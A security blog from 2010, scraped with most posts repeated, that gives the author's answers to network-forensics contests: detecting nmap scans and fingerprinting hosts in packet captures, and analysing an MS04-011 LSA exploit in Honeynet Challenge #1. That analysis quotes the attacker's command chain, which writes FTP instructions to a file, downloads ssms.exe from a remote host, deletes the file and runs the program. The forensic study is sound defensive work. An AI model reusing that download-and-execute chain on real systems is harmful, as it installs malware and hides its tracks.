Made the finalist list!
They've released contest #5, I'll post more on it later today or this weekend.
They've released contest #5, I'll post more on it later today or this weekend.
Friday, March 19, 2010
Forensics contest #4 Answer
Ok, 3/18/10 has come and gone so I figure it is ok to post my answer at this point in time. Not sure if I got it correct or not, but here goes. I actually made some changes to Satori and wrote a new .exe specifically for parsing the data you can find more in the writeup:
Answer 1: 10.42.42.253
Answer 2: TCP CONNECT
Answer 3a: 10.42.42.50
Answer 3b: 10.42.42.56
Answer 3c: 10.42.42.25
Answer 4: 00:16:CB:92:6E:DC
Answer 5: 10.42.42.50
Answer 6: 135
Answer 6: 139
Xtra-Credit:
NMAP, we can tell this by some of the unique things it does on Syn Scans, also some of the MSS sizes it sends in its OS fingerprinting tests and its ICMP code of 9 in that test.
While not exactly like NMAP puts out and without the OS guesses:
---------------------------------------
Summary
---------------------------------------
List of Possible NMAP Scanning machines (and number of ports scanned):
10.42.42.25=12
10.42.42.253=7420
List of Possible Machines Scanned by NMAP System (and number of ports scanned):
10.42.42.25=3401
10.42.42.50=2025
10.42.42.56=2005
Systems with Open Ports:
10.42.42.50 - 135/tcp
10.42.42.50 - 139/tcp
Systems with Unfiltered Ports:
10.42.42.25 - 1/tcp
10.42.42.253 - 36020/tcp
10.42.42.253 - 36119/tcp
10.42.42.253 - 36120/tcp
10.42.42.253 - 36121/tcp
10.42.42.253 - 36122/tcp
10.42.42.253 - 36123/tcp
10.42.42.253 - 36124/tcp
10.42.42.253 - 36131/tcp
10.42.42.253 - 36134/tcp
10.42.42.50 - 1/tcp
10.42.42.50 - 135/tcp
10.42.42.56 - 1/tcp
Systems with Closed Ports:
10.42.42.25=2003 Port(s) not Shown
10.42.42.253=2 Port(s) not Shown
10.42.42.50=2000 Port(s) not Shown
10.42.42.56=2005 Port(s) not Shown
Description:
Running the packet capture through nfc (http://myweb.cableone.net/xnih/download/nfc.zip), we find out there 2 possible systems doing some type of scan:
10.42.42.25 and 10.42.42.253, looking at the sheer number of scan packets, we can tell that 10.42.42.253 is the main system doing any type of scan. We can also look at SYN, Connect, XMAS and NULL scan types and see that 10.42.42.253 shows up in all 4, where 10.42.42.25 only shows up in the Connect Scan.
While 10.42.42.253 does do SYN, Connect, XMAS, NULL, and at least 1 port on UDP (probably during the OS fingerprinting part when looking for a closed UDP port). The first scan he does though is a TCP Connect Scan. We can see this by the flags and more importantly by the tcpoptions that are used. The general way we can break down the scan types is as follows (chunk of the delphi code used, due to having to have to port all the c code over to pascal on my own, source is not available, but general info on what was done is provided in the nfc downloaded zip file):
if tcpflags = 'SA' then
OpenPorts.Add(sl.Strings[x])
else if tcpflags = 'RA' then
ClosedPorts.Add(sl.Strings[x])
else if tcpflags = 'R' then
UnfilteredPorts.Add(sl.Strings[x])
else if (tcpflags = 'A') and (tcpoptions = '') then
ACKScan.Add(sl.Strings[x])
else if tcpflags = '' then
NullScan.Add(sl.Strings[x])
else if tcpflags = 'FPU' then
XMASScan.Add(sl.Strings[x])
else if tcpflags = 'S' then
begin
if tcpoptions = 'M1460:.' then
SynScan.Add(sl.Strings[x])
else //tcpoptions are going to be OS specific, so doing catch all for now
ConnectScan.Add(sl.Strings[x]);
end;
The tcpoptions are the same data I use in Satori for passively identifying OS's. This is close to what p0f is doing and the general fingerprints are the same, though mine have been updated over the past few years.
Looking through the summary info of NFC we can see that 3 machines were scanned:
10.42.42.25
10.42.42.50
10.42.42.56
Each saw a different number of ports scanned, this could be due to how NMAP's scripting engine works when it tries to OS fingerprint the remote system, though some of it could also be because of some of the interaction between these 3 hosts between each other when they started up their own conversations.
For OS identification we now look at Satori (http://myweb.cableone.net/xnih/download/satori.zip).
For this exercise some tweaks were made to a few of the fingerprinting dlls. While Satori wasn't designed to specifically parse nmap traffic, it can, though it is a bit slow due to the number of packets with tcpoptions.
One of the dlls that was changed was the icmp one. Found under the pull down for "icmp". NMAP sends ICMP Type 8 packets with an ICMP Code of 9 (Languard sends with a 13, others may send with their own too, trying to elicit a different response with a valid and invalid code). For the TCP dll I modified it to identify more than just S and SA packets (where the original dll just drop all the others), we now process them and tag them, even ones that may be of no use with flags such as FA and PA. The main new useful ones were NULL and XMAS. I also updated the mtu text file under fingerprinting to add in the common MTU sizes that NMAP uses (305, 680, 1440). All of this can be found in the pull down for "tcp".
Note: The downloadable version of Satori is quite old, but the updater program should be run after initial download, selecting ALL files, not just ones it marks as new since it looks at the last modified date, which typically is when you unextracted the file.
Anyway, to determine each OS here we can look at the data that Satori provided:
10.42.42.253 - Linux 2.6 (p0f) or Solaris (ettercap) nothing in my DB to identify it
10.42.42.50 - Windows XP SP3 most likely, XP or 2000 (Satori), Windows 2000 (p0f), BSD or 2000 Server (ettercap)
10.42.42.56 - unknown across all passive fingerprinting
10.42.42.25 - unknown across all passive fingerprinting, but based on MAC and that alone Apple (could always be spoofed) if it is an OS X box, there is a Syn fingerprint that can be added to my DB.
Based on the MAC, the Apple machine's MAC is: 00:16:CB:92:6E:DC
Windows machines IP can be seen above.
Using either NFC or Satori we can see that TCP ports 135 and 139 were open on it.
NFC output:
---------------------------------------
Types of Scans and General Info
---------------------------------------
SYN Scan info:
Start Time: 2010-02-02 17:43:10 Packet #: 6728
End Time: 2010-02-02 17:44:03 Packet #: 13525
System(s) appearing to do SYN Scans:
10.42.42.253=3745
System(s) appearing to be SYN Scanned:
10.42.42.25=1745
10.42.42.56=1000
10.42.42.50=1000
Connect Scan info:
Start Time: 2010-02-02 17:34:06 Packet #: 1
End Time: 2010-02-02 17:44:12 Packet #: 13620
System(s) appearing to do Connect Scans:
10.42.42.253=3670
10.42.42.25=12
System(s) appearing to be Connect Scanned:
10.42.42.50=1024
10.42.42.56=1003
10.42.42.25=1655
XMAS Scan info:
Start Time: 2010-02-02 17:44:10 Packet #: 13599
End Time: 2010-02-02 17:44:13 Packet #: 13624
System(s) appearing to do XMAS Scans:
10.42.42.253=4
System(s) appearing to be XMAS Scanned:
10.42.42.56=2
10.42.42.25=1
10.42.42.50=1
NULL Scan info:
Start Time: 2010-02-02 17:44:10 Packet #: 13597
End Time: 2010-02-02 17:44:10 Packet #: 13597
System(s) appearing to do NULL Scans:
10.42.42.253=1
System(s) appearing to be NULL Scanned:
10.42.42.50=1
---------------------------------------
Summary
---------------------------------------
List of Possible NMAP Scanning machines (and number of ports scanned):
10.42.42.25=12
10.42.42.253=7420
List of Possible Machines Scanned by NMAP System (and number of ports scanned):
10.42.42.25=3401
10.42.42.50=2025
10.42.42.56=2005
Systems with Open Ports:
10.42.42.50 - 135/tcp
10.42.42.50 - 139/tcp
Systems with Unfiltered Ports:
10.42.42.25 - 1/tcp
10.42.42.253 - 36020/tcp
10.42.42.253 - 36119/tcp
10.42.42.253 - 36120/tcp
10.42.42.253 - 36121/tcp
10.42.42.253 - 36122/tcp
10.42.42.253 - 36123/tcp
10.42.42.253 - 36124/tcp
10.42.42.253 - 36131/tcp
10.42.42.253 - 36134/tcp
10.42.42.50 - 1/tcp
10.42.42.50 - 135/tcp
10.42.42.56 - 1/tcp
Systems with Closed Ports:
10.42.42.25=2003 Port(s) not Shown
10.42.42.253=2 Port(s) not Shown
10.42.42.50=2000 Port(s) not Shown
10.42.42.56=2005 Port(s) not Shown
No Results are perfect here since we are not taking into account where in the scan certain things
happen.
This is just a quick and dirty best guess based on what we are seeing.
---
Satori being a GUI program will have to be downloaded and run.
Answer 1: 10.42.42.253
Answer 2: TCP CONNECT
Answer 3a: 10.42.42.50
Answer 3b: 10.42.42.56
Answer 3c: 10.42.42.25
Answer 4: 00:16:CB:92:6E:DC
Answer 5: 10.42.42.50
Answer 6: 135
Answer 6: 139
Xtra-Credit:
NMAP, we can tell this by some of the unique things it does on Syn Scans, also some of the MSS sizes it sends in its OS fingerprinting tests and its ICMP code of 9 in that test.
While not exactly like NMAP puts out and without the OS guesses:
---------------------------------------
Summary
---------------------------------------
List of Possible NMAP Scanning machines (and number of ports scanned):
10.42.42.25=12
10.42.42.253=7420
List of Possible Machines Scanned by NMAP System (and number of ports scanned):
10.42.42.25=3401
10.42.42.50=2025
10.42.42.56=2005
Systems with Open Ports:
10.42.42.50 - 135/tcp
10.42.42.50 - 139/tcp
Systems with Unfiltered Ports:
10.42.42.25 - 1/tcp
10.42.42.253 - 36020/tcp
10.42.42.253 - 36119/tcp
10.42.42.253 - 36120/tcp
10.42.42.253 - 36121/tcp
10.42.42.253 - 36122/tcp
10.42.42.253 - 36123/tcp
10.42.42.253 - 36124/tcp
10.42.42.253 - 36131/tcp
10.42.42.253 - 36134/tcp
10.42.42.50 - 1/tcp
10.42.42.50 - 135/tcp
10.42.42.56 - 1/tcp
Systems with Closed Ports:
10.42.42.25=2003 Port(s) not Shown
10.42.42.253=2 Port(s) not Shown
10.42.42.50=2000 Port(s) not Shown
10.42.42.56=2005 Port(s) not Shown
Description:
Running the packet capture through nfc (http://myweb.cableone.net/xnih/download/nfc.zip), we find out there 2 possible systems doing some type of scan:
10.42.42.25 and 10.42.42.253, looking at the sheer number of scan packets, we can tell that 10.42.42.253 is the main system doing any type of scan. We can also look at SYN, Connect, XMAS and NULL scan types and see that 10.42.42.253 shows up in all 4, where 10.42.42.25 only shows up in the Connect Scan.
While 10.42.42.253 does do SYN, Connect, XMAS, NULL, and at least 1 port on UDP (probably during the OS fingerprinting part when looking for a closed UDP port). The first scan he does though is a TCP Connect Scan. We can see this by the flags and more importantly by the tcpoptions that are used. The general way we can break down the scan types is as follows (chunk of the delphi code used, due to having to have to port all the c code over to pascal on my own, source is not available, but general info on what was done is provided in the nfc downloaded zip file):
if tcpflags = 'SA' then
OpenPorts.Add(sl.Strings[x])
else if tcpflags = 'RA' then
ClosedPorts.Add(sl.Strings[x])
else if tcpflags = 'R' then
UnfilteredPorts.Add(sl.Strings[x])
else if (tcpflags = 'A') and (tcpoptions = '') then
ACKScan.Add(sl.Strings[x])
else if tcpflags = '' then
NullScan.Add(sl.Strings[x])
else if tcpflags = 'FPU' then
XMASScan.Add(sl.Strings[x])
else if tcpflags = 'S' then
begin
if tcpoptions = 'M1460:.' then
SynScan.Add(sl.Strings[x])
else //tcpoptions are going to be OS specific, so doing catch all for now
ConnectScan.Add(sl.Strings[x]);
end;
The tcpoptions are the same data I use in Satori for passively identifying OS's. This is close to what p0f is doing and the general fingerprints are the same, though mine have been updated over the past few years.
Looking through the summary info of NFC we can see that 3 machines were scanned:
10.42.42.25
10.42.42.50
10.42.42.56
Each saw a different number of ports scanned, this could be due to how NMAP's scripting engine works when it tries to OS fingerprint the remote system, though some of it could also be because of some of the interaction between these 3 hosts between each other when they started up their own conversations.
For OS identification we now look at Satori (http://myweb.cableone.net/xnih/download/satori.zip).
For this exercise some tweaks were made to a few of the fingerprinting dlls. While Satori wasn't designed to specifically parse nmap traffic, it can, though it is a bit slow due to the number of packets with tcpoptions.
One of the dlls that was changed was the icmp one. Found under the pull down for "icmp". NMAP sends ICMP Type 8 packets with an ICMP Code of 9 (Languard sends with a 13, others may send with their own too, trying to elicit a different response with a valid and invalid code). For the TCP dll I modified it to identify more than just S and SA packets (where the original dll just drop all the others), we now process them and tag them, even ones that may be of no use with flags such as FA and PA. The main new useful ones were NULL and XMAS. I also updated the mtu text file under fingerprinting to add in the common MTU sizes that NMAP uses (305, 680, 1440). All of this can be found in the pull down for "tcp".
Note: The downloadable version of Satori is quite old, but the updater program should be run after initial download, selecting ALL files, not just ones it marks as new since it looks at the last modified date, which typically is when you unextracted the file.
Anyway, to determine each OS here we can look at the data that Satori provided:
10.42.42.253 - Linux 2.6 (p0f) or Solaris (ettercap) nothing in my DB to identify it
10.42.42.50 - Windows XP SP3 most likely, XP or 2000 (Satori), Windows 2000 (p0f), BSD or 2000 Server (ettercap)
10.42.42.56 - unknown across all passive fingerprinting
10.42.42.25 - unknown across all passive fingerprinting, but based on MAC and that alone Apple (could always be spoofed) if it is an OS X box, there is a Syn fingerprint that can be added to my DB.
Based on the MAC, the Apple machine's MAC is: 00:16:CB:92:6E:DC
Windows machines IP can be seen above.
Using either NFC or Satori we can see that TCP ports 135 and 139 were open on it.
NFC output:
---------------------------------------
Types of Scans and General Info
---------------------------------------
SYN Scan info:
Start Time: 2010-02-02 17:43:10 Packet #: 6728
End Time: 2010-02-02 17:44:03 Packet #: 13525
System(s) appearing to do SYN Scans:
10.42.42.253=3745
System(s) appearing to be SYN Scanned:
10.42.42.25=1745
10.42.42.56=1000
10.42.42.50=1000
Connect Scan info:
Start Time: 2010-02-02 17:34:06 Packet #: 1
End Time: 2010-02-02 17:44:12 Packet #: 13620
System(s) appearing to do Connect Scans:
10.42.42.253=3670
10.42.42.25=12
System(s) appearing to be Connect Scanned:
10.42.42.50=1024
10.42.42.56=1003
10.42.42.25=1655
XMAS Scan info:
Start Time: 2010-02-02 17:44:10 Packet #: 13599
End Time: 2010-02-02 17:44:13 Packet #: 13624
System(s) appearing to do XMAS Scans:
10.42.42.253=4
System(s) appearing to be XMAS Scanned:
10.42.42.56=2
10.42.42.25=1
10.42.42.50=1
NULL Scan info:
Start Time: 2010-02-02 17:44:10 Packet #: 13597
End Time: 2010-02-02 17:44:10 Packet #: 13597
System(s) appearing to do NULL Scans:
10.42.42.253=1
System(s) appearing to be NULL Scanned:
10.42.42.50=1
---------------------------------------
Summary
---------------------------------------
List of Possible NMAP Scanning machines (and number of ports scanned):
10.42.42.25=12
10.42.42.253=7420
List of Possible Machines Scanned by NMAP System (and number of ports scanned):
10.42.42.25=3401
10.42.42.50=2025
10.42.42.56=2005
Systems with Open Ports:
10.42.42.50 - 135/tcp
10.42.42.50 - 139/tcp
Systems with Unfiltered Ports:
10.42.42.25 - 1/tcp
10.42.42.253 - 36020/tcp
10.42.42.253 - 36119/tcp
10.42.42.253 - 36120/tcp
10.42.42.253 - 36121/tcp
10.42.42.253 - 36122/tcp
10.42.42.253 - 36123/tcp
10.42.42.253 - 36124/tcp
10.42.42.253 - 36131/tcp
10.42.42.253 - 36134/tcp
10.42.42.50 - 1/tcp
10.42.42.50 - 135/tcp
10.42.42.56 - 1/tcp
Systems with Closed Ports:
10.42.42.25=2003 Port(s) not Shown
10.42.42.253=2 Port(s) not Shown
10.42.42.50=2000 Port(s) not Shown
10.42.42.56=2005 Port(s) not Shown
No Results are perfect here since we are not taking into account where in the scan certain things
happen.
This is just a quick and dirty best guess based on what we are seeing.
---
Satori being a GUI program will have to be downloaded and run.
Sunday, March 7, 2010
Web fingerprinting
There was a thread started awhile back (on full disclosure) and I just figured I'd summarize the apps that they put out there for fingerprinting web sites:
http://sucuri.net/?page=docs&title=fingerprinting-web-apps
There is also a live tool for you to test with any site:
http://sucuri.net/?page=docs&title=fingerprinting-web-apps#v6
--
http://www.morningstarsecurity.com/research/whatweb
--
http://www.mytty.org/wafp/
--
I haven't checked any of them out, but wanted to add them here so I could find them if/when I'm looking in the future! If you have any others feel free to add them in a reply to this post.
http://sucuri.net/?page=docs&title=fingerprinting-web-apps
There is also a live tool for you to test with any site:
http://sucuri.net/?page=docs&title=fingerprinting-web-apps#v6
--
http://www.morningstarsecurity.com/research/whatweb
--
http://www.mytty.org/wafp/
--
I haven't checked any of them out, but wanted to add them here so I could find them if/when I'm looking in the future! If you have any others feel free to add them in a reply to this post.
Thursday, February 25, 2010
Pass the Hash
While I normally post info on here about fingerprinting, I also like looking at anything that "gives away too much info". I've known about the pass the hash technique for quite awhile now, never paid it much attention until I watch a demo on how effective it can be.
Anyway, nice paper on how it works, some of the tools to do it and some mitigation options from what I've read so far. Need to do more than scan it, but give it a check.
Anyway, nice paper on how it works, some of the tools to do it and some mitigation options from what I've read so far. Need to do more than scan it, but give it a check.
Wednesday, February 17, 2010
SSL/TLS Fingerprinting
I've been following Thierry Zoller off and on for years now, probably helped that he was one of the first people to find and mention Satori back in the day.
He's come up with a new tool that fingerprints SSL/TLS connections called SSL/TLS Audit. Actually, it is a tool that does SSL/TLS Auditing, just happens to have a feature that in turn fingerprints the ssl engine.
"Apart from scanning available ciphersuites it has an interesting tidbit : The Fingerprint mode (Experimental). Included is an experimental fingerprint engine that tries to determine the SSL Engine used server side. It does so by sending normal and malformed SSL packets that can be interpreted in different ways.
SSL Audit is able to fingerprint :
· IIS7.5 (Schannel)
· IIS7.0 (Schannel)
· IIS 6.0 (Schannel)
· Apache (Openssl)
· Apache (NSS)
· Certicom
· RSA BSAFE "
They have an upcoming paper due out it looks like, so it will be interesting to see what information they provide. Gives me some ideas, so depending on time in the near future I may have to look into this a bit more.
He's come up with a new tool that fingerprints SSL/TLS connections called SSL/TLS Audit. Actually, it is a tool that does SSL/TLS Auditing, just happens to have a feature that in turn fingerprints the ssl engine.
"Apart from scanning available ciphersuites it has an interesting tidbit : The Fingerprint mode (Experimental). Included is an experimental fingerprint engine that tries to determine the SSL Engine used server side. It does so by sending normal and malformed SSL packets that can be interpreted in different ways.
SSL Audit is able to fingerprint :
· IIS7.5 (Schannel)
· IIS7.0 (Schannel)
· IIS 6.0 (Schannel)
· Apache (Openssl)
· Apache (NSS)
· Certicom
· RSA BSAFE "
They have an upcoming paper due out it looks like, so it will be interesting to see what information they provide. Gives me some ideas, so depending on time in the near future I may have to look into this a bit more.
Sunday, February 14, 2010
Honeynet Challenge #1 Results
Well I didn't do as well as I'd hoped on Challenge #1, only got a 25 out of 40 on score, ranking me 28 out of the 91 submissions. Top third, but not as high as I would have liked.
Here were my score results:
Answer 1: 2 points (of 2)
Answer 2: 1.5 points (of 2)
Answer 3: 2 points (of 2)
Answer 4: 1.5 points (of 2)
Answer 5: 4 points (of 6)
Answer 6: 3 points (of 6)
Answer 7: 2 points (of 2)
Answer 8: 1 points (of 8)
Answer 9: 4 points (of 6)
Answer 10: 2 points (of 2)
Answer 11: 2 points (of 2)
Looks like I blew the shell code section along with the general overview! A bit off here/there other than that too, but those were the worst sections.
Here were the questions again:
1. Which systems (i.e. IP addresses) are involved? (2pts)
2. What can you find out about the attacking host (e.g., where is it located)? (2pts)
3. How many TCP sessions are contained in the dump file? (2pts)
4. How long did it take to perform the attack? (2pts)
5. Which operating system was targeted by the attack? And which service? Which vulnerability? (6pts)
6. Can you sketch an overview of the general actions performed by the attacker? (6pts)
7. What specific vulnerability was attacked? (2pts)
8. What actions does the shellcode perform? Pls list the shellcode. (8pts)
9. Do you think a Honeypot was used to pose as a vulnerable victim? Why? (6pts)
10. Was there malware involved? Whats the name of the malware? (We are not looking for a detailed malware analysis for this challenge) (2pts)
11. Do you think this is a manual or an automated attack? Why? (2pts)
Anyway, very fun exercise, glad they put it on and they are posting the results earlier than I thought they would, didn't expect anything until tomorrow.
Looks like they are planning another one in the near future. Not sure it is something I'll work on, but keep your eyes on their site if you are interested!
Here were my score results:
Answer 1: 2 points (of 2)
Answer 2: 1.5 points (of 2)
Answer 3: 2 points (of 2)
Answer 4: 1.5 points (of 2)
Answer 5: 4 points (of 6)
Answer 6: 3 points (of 6)
Answer 7: 2 points (of 2)
Answer 8: 1 points (of 8)
Answer 9: 4 points (of 6)
Answer 10: 2 points (of 2)
Answer 11: 2 points (of 2)
Looks like I blew the shell code section along with the general overview! A bit off here/there other than that too, but those were the worst sections.
Here were the questions again:
1. Which systems (i.e. IP addresses) are involved? (2pts)
2. What can you find out about the attacking host (e.g., where is it located)? (2pts)
3. How many TCP sessions are contained in the dump file? (2pts)
4. How long did it take to perform the attack? (2pts)
5. Which operating system was targeted by the attack? And which service? Which vulnerability? (6pts)
6. Can you sketch an overview of the general actions performed by the attacker? (6pts)
7. What specific vulnerability was attacked? (2pts)
8. What actions does the shellcode perform? Pls list the shellcode. (8pts)
9. Do you think a Honeypot was used to pose as a vulnerable victim? Why? (6pts)
10. Was there malware involved? Whats the name of the malware? (We are not looking for a detailed malware analysis for this challenge) (2pts)
11. Do you think this is a manual or an automated attack? Why? (2pts)
Anyway, very fun exercise, glad they put it on and they are posting the results earlier than I thought they would, didn't expect anything until tomorrow.
Looks like they are planning another one in the near future. Not sure it is something I'll work on, but keep your eyes on their site if you are interested!
Thursday, February 4, 2010
Forensic Contest #4 released
More information at their site, but here is what they are asking you to find.
1. What was the IP address of Mr. X’s scanner?
2. What type of port scan(s) did Mr. X conduct? Check all that apply:
* TCP SYN
* TCP ACK
* UDP
* TCP Connect
* TCP XMAS
* TCP RST
3. What were the IP addresses of the targets Mr. X discovered?
4. What was the MAC address of the Apple system he found?
5. What was the IP address of the Windows system he found?
6. What TCP ports were open on the Windows system? (Please list the decimal numbers from lowest to highest.)
X-TRA CREDIT (You don’t have to answer this, but you get super bonus points if you do): What was the name of the tool Mr. X used to port scan? How can you tell? Can you reconstruct the output from the tool, roughly the way Mr. X would have seen it?
Deadline is 3/04/10 (11:59:59PM UTC-11) (In other words, if it’s still 3/04/10 anywhere in the world, you can submit your entry.)
1. What was the IP address of Mr. X’s scanner?
2. What type of port scan(s) did Mr. X conduct? Check all that apply:
* TCP SYN
* TCP ACK
* UDP
* TCP Connect
* TCP XMAS
* TCP RST
3. What were the IP addresses of the targets Mr. X discovered?
4. What was the MAC address of the Apple system he found?
5. What was the IP address of the Windows system he found?
6. What TCP ports were open on the Windows system? (Please list the decimal numbers from lowest to highest.)
X-TRA CREDIT (You don’t have to answer this, but you get super bonus points if you do): What was the name of the tool Mr. X used to port scan? How can you tell? Can you reconstruct the output from the tool, roughly the way Mr. X would have seen it?
Deadline is 3/04/10 (11:59:59PM UTC-11) (In other words, if it’s still 3/04/10 anywhere in the world, you can submit your entry.)
Tuesday, February 2, 2010
Forensics Contest #3 - Answers
Ok, not going to do a writeup on this one. NetworkMiner was able to pull all the info out without much work. Thankfully it puts tcp packets back together and reconstructs the .xml files in question. Hopefully someone out there was able to come up with a new script to pull all the info they wanted, but it wasn't me, that is for sure!
My answers were:
1. 002500FE07C4
2. AppleTV/2.4
3. h, ha, hac, hack
4. Hackers
5. http://a227.v.phobos.apple.com/us/r1000/008/Video/62/bd/1b/mzm.plqacyqb..640x278.h264lc.d2.p.m4v
6. Sneakers
7. $9.99
8. iknowyourewatchingme
My answers were:
1. 002500FE07C4
2. AppleTV/2.4
3. h, ha, hac, hack
4. Hackers
5. http://a227.v.phobos.apple.com/us/r1000/008/Video/62/bd/1b/mzm.plqacyqb..640x278.h264lc.d2.p.m4v
6. Sneakers
7. $9.99
8. iknowyourewatchingme
Honeynet Challenge #1 - Answers
The deadline was yesterday, so I think I'm ok posting my answers. Not sure if these are correct or not, but this is what I submitted. If anyone has any questions let me know. Again, this was a fun exercise:
Question 1. Which systems (i.e. IP addresses) are involved?
Tools Used: Satori, NetworkMiner, and Wireshark
192.150.11.111 – End system
98.114.205.102 - Attacker
-----
Question 2. What can you find out about the attacking host (e.g., where is it located)?
Tools Used: WHOIS, Wireshark
TTL – 113, since appears to be a windows box, 15 hops away.
According to: http://www.ipaddresslocation.org/ip-address-locator.php
They are most likely located in/around Southampton Pennsylvania, which is where the local Verizon Internet Services office is located at least.
Attack System appears to be a Windows 2000 system (TTL puts it as Windows (typically) and TCP fingerprint put it as a Windows 2000, XP or 2003 box and SMB puts it as Windows 2000 and SMB is the most reliable of those mentioned normally).
-----
Question 3. How many TCP sessions are contained in the dump file?
Tools Used: NetworkMiner, verified with Wireshark
5 total:
- 4 from 98.114.205.102
- 1 from 192.150.11.111
-----
Question 4. How long did it take to perform the attack?
Tools Used: wireshark Awarded Points:
It depends on what part you consider the actual attack:
Max of 16.2 seconds from the first packet to the last packet in the capture. Most of the time is actually FTP’ing a file.
Within the first 2 seconds the Buffer Overflow has already taken place. The next 14 seconds are sending the command to the system and FTP’ing the file.
-----
Question 5. Which operating system was targeted by the attack? And which service? Which vulnerability?
Tools Used: Satori, wireshark
192.150.11.111
2 competing fingerprints:
* Based on TTL and TCP fingerprinting it appears to be a Linux box, most likely 2.6 kernel.
* SMB packets on the otherhand claim it is on the VIDCAM Domain and running Windows 5.1 (packet 16 & 19)
Based on the attack that appears to be happening against DsRoleUpgradeDownlevelServer I’d say it is an XP system; Trying to exploit MS04-011, targeting the Windows LSA Service.
-----
Question 6. Can you sketch an overview of the general actions performed by the attacker?
Tools Used: wireshark
Authenticates as a null user to ipc$, peforms a DsRoleUpgradeDownlevelServer Buffer Overflow. Once exploited forces the system to FTP a file.
First they dump these commands in the file ‘o’:
open 0.0.0.0 8884
user 1 1
get ssms.exe
Then they do:
ftp –n –s:o (Suppresses auto-login and reads data in from the ‘o’ file)
Delete the ‘o’ file to make sure nobody can see what they did, forcing it quite mode and deleting of read only files, just in case.
Then launch ssms.exe
-----
Question 7. What specific vulnerability was attacked?
MS04-011, good writeup at:
http://research.eeye.com/html/advisories/published/AD20040413C.html
-----
Question 8. What actions does the shellcode perform? Pls list the shellcode
Tools Used: wireshark, trace tcp conversation
It targets DSRoleUpgradeDownLevelServer, does a buffer overflow of a lot of 0x31, or 1’s in ascii. As soon as that is done it starts a new TCP conversation and does this (more info back in question #6)
echo open 0.0.0.0 8884 > o&echo user 1 1 >> o &echo get ssms.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &ssms.exe
ssms.exe
It appears to call ssms.exe twice, not sure if that is by design or due to a bug???
-----
Question 9. Do you think a Honeypot was used to pose as a vulnerable victim? Why?
Tools Used: Satori (http://myweb.cableone.net/xnih)
Yes. Go back to #5. TCP fingerprint shows the box as Linux 2.6, SMB shows the box as Windows XP. The TTL can be tweaked on windows, but the rest of the TCP fingerprint is hard to modify, though there are some tweaks that can be done that may allow this.
-----
Question 10. Was there malware involved? Whats the name of the malware? (We are not looking for a detailed malware analysis for this challenge)
Smss.exe, may be W32/Spybot-MP worm and IRC backdoor, but without analysis it is hard to say. That is just a guess based on the name and the name alone.
-----
Question 11. Do you think this is a manual or an automated attack? Why?
Automated, it only took 16 seconds from start to finish. Typing this sentence up took that long with a few typo’s! Not to mention, most of that 16.2 seconds was downloading the ssms.exe file. So while it is possible someone sat there and did it, due to the quickness in which it took place it seems unlikely.
Question 1. Which systems (i.e. IP addresses) are involved?
Tools Used: Satori, NetworkMiner, and Wireshark
192.150.11.111 – End system
98.114.205.102 - Attacker
-----
Question 2. What can you find out about the attacking host (e.g., where is it located)?
Tools Used: WHOIS, Wireshark
TTL – 113, since appears to be a windows box, 15 hops away.
According to: http://www.ipaddresslocation.org/ip-address-locator.php
They are most likely located in/around Southampton Pennsylvania, which is where the local Verizon Internet Services office is located at least.
Attack System appears to be a Windows 2000 system (TTL puts it as Windows (typically) and TCP fingerprint put it as a Windows 2000, XP or 2003 box and SMB puts it as Windows 2000 and SMB is the most reliable of those mentioned normally).
-----
Question 3. How many TCP sessions are contained in the dump file?
Tools Used: NetworkMiner, verified with Wireshark
5 total:
- 4 from 98.114.205.102
- 1 from 192.150.11.111
-----
Question 4. How long did it take to perform the attack?
Tools Used: wireshark Awarded Points:
It depends on what part you consider the actual attack:
Max of 16.2 seconds from the first packet to the last packet in the capture. Most of the time is actually FTP’ing a file.
Within the first 2 seconds the Buffer Overflow has already taken place. The next 14 seconds are sending the command to the system and FTP’ing the file.
-----
Question 5. Which operating system was targeted by the attack? And which service? Which vulnerability?
Tools Used: Satori, wireshark
192.150.11.111
2 competing fingerprints:
* Based on TTL and TCP fingerprinting it appears to be a Linux box, most likely 2.6 kernel.
* SMB packets on the otherhand claim it is on the VIDCAM Domain and running Windows 5.1 (packet 16 & 19)
Based on the attack that appears to be happening against DsRoleUpgradeDownlevelServer I’d say it is an XP system; Trying to exploit MS04-011, targeting the Windows LSA Service.
-----
Question 6. Can you sketch an overview of the general actions performed by the attacker?
Tools Used: wireshark
Authenticates as a null user to ipc$, peforms a DsRoleUpgradeDownlevelServer Buffer Overflow. Once exploited forces the system to FTP a file.
First they dump these commands in the file ‘o’:
open 0.0.0.0 8884
user 1 1
get ssms.exe
Then they do:
ftp –n –s:o (Suppresses auto-login and reads data in from the ‘o’ file)
Delete the ‘o’ file to make sure nobody can see what they did, forcing it quite mode and deleting of read only files, just in case.
Then launch ssms.exe
-----
Question 7. What specific vulnerability was attacked?
MS04-011, good writeup at:
http://research.eeye.com/html/advisories/published/AD20040413C.html
-----
Question 8. What actions does the shellcode perform? Pls list the shellcode
Tools Used: wireshark, trace tcp conversation
It targets DSRoleUpgradeDownLevelServer, does a buffer overflow of a lot of 0x31, or 1’s in ascii. As soon as that is done it starts a new TCP conversation and does this (more info back in question #6)
echo open 0.0.0.0 8884 > o&echo user 1 1 >> o &echo get ssms.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &ssms.exe
ssms.exe
It appears to call ssms.exe twice, not sure if that is by design or due to a bug???
-----
Question 9. Do you think a Honeypot was used to pose as a vulnerable victim? Why?
Tools Used: Satori (http://myweb.cableone.net/xnih)
Yes. Go back to #5. TCP fingerprint shows the box as Linux 2.6, SMB shows the box as Windows XP. The TTL can be tweaked on windows, but the rest of the TCP fingerprint is hard to modify, though there are some tweaks that can be done that may allow this.
-----
Question 10. Was there malware involved? Whats the name of the malware? (We are not looking for a detailed malware analysis for this challenge)
Smss.exe, may be W32/Spybot-MP worm and IRC backdoor, but without analysis it is hard to say. That is just a guess based on the name and the name alone.
-----
Question 11. Do you think this is a manual or an automated attack? Why?
Automated, it only took 16 seconds from start to finish. Typing this sentence up took that long with a few typo’s! Not to mention, most of that 16.2 seconds was downloading the ssms.exe file. So while it is possible someone sat there and did it, due to the quickness in which it took place it seems unlikely.
Monday, January 25, 2010
Honeynet - Challenge 1 of the Forensic Challenge 2010
Ok, I posted this a week or so ago to the NetworkMiner beta list, but forgot to put anything up on here about it. This was a fun exercise, different than the other ones I've done and posted about recently.
It was short notice when I put it on that list, even shorter here, but...
In this case, no need to write code, just find the answers and tell them what program(s) you used.
----
The Challenge:
A network trace with attack data is provided. (Note that the IP address of the victim has been changed to hide the true location.) Analyze and answer the following questions:
